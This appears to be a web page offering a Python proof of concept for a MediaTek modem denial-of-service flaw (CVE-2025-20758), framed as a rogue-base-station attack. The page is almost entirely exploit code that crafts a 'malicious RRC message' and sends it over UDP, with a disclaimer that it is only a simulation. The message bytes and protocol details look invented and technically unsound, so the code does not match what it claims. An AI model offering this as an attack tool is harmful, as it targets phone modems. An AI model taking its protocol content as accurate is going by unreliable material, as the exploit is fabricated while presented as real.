CVE-2025-20758 MediaTek调制解调器未捕获异常导致系统崩溃漏洞

#!/usr/bin/env python3 """ CVE-2025-20758 PoC - MediaTek Modem Uncaught Exception DoS Note: This is a conceptual demonstration. Actual exploitation requires: 1. SDR equipment (USRP, HackRF, etc.) 2. OpenAirInterface or srsLTE for base station implementation 3. Specific firmware version targeting This PoC simulates the attack concept for research purposes. """ import socket import struct import time def create_malicious_rrc_message(): """ Create a malicious RRC (Radio Resource Control) message that triggers uncaught exception in MediaTek modem. """ # RRC Connection Reconfiguration with malformed parameters rrc_msg = bytearray() # Message Type: RRC Connection Reconfiguration rrc_msg.extend([0x00, 0x0C]) # PDCP: RRC message # Add crafted TLV parameters that may cause parsing error rrc_msg.extend([0x00, 0x01, 0xFF]) # Malformed IE rrc_msg.extend([0x00, 0x02, 0x00, 0x00]) # Invalid length return bytes(rrc_msg) def simulate_rogue_bs_attack(target_ip="127.0.0.1", port=38412): """ Simulate sending malicious messages to trigger the vulnerability. In real scenario, this would be done via air interface. """ print(f"[*] Simulating Rogue Base Station Attack for CVE-2025-20758") print(f"[*] Target: {target_ip}:{port}") malicious_msg = create_malicious_rrc_message() try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[*] Sending malicious RRC message...") sock.sendto(malicious_msg, (target_ip, port)) response = sock.recv(1024) print(f"[!] Unexpected response received: {response.hex()}") except socket.timeout: print(f"[+] Target unresponsive - possible crash detected") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() def check_modem_status(): """ Check if modem is still responsive after attack. """ print("[*] Checking modem status...") # In real implementation, would check: # - AT command responses # - Modem manager status # - Network registration status pass if __name__ == "__main__": print("=" * 60) print("CVE-2025-20758 MediaTek Modem DoS PoC") print("CVSS: 4.9 (Medium)") print("=" * 60) # Note: Actual exploitation requires SDR hardware and # LTE/5G protocol stack implementation (OpenAirInterface) print("\n[!] WARNING: This PoC requires:") print(" - SDR hardware (USRP/HackRF)") print(" - LTE base station software") print(" - Physical proximity to target device") print("\n[*] This is for educational/research purposes only.")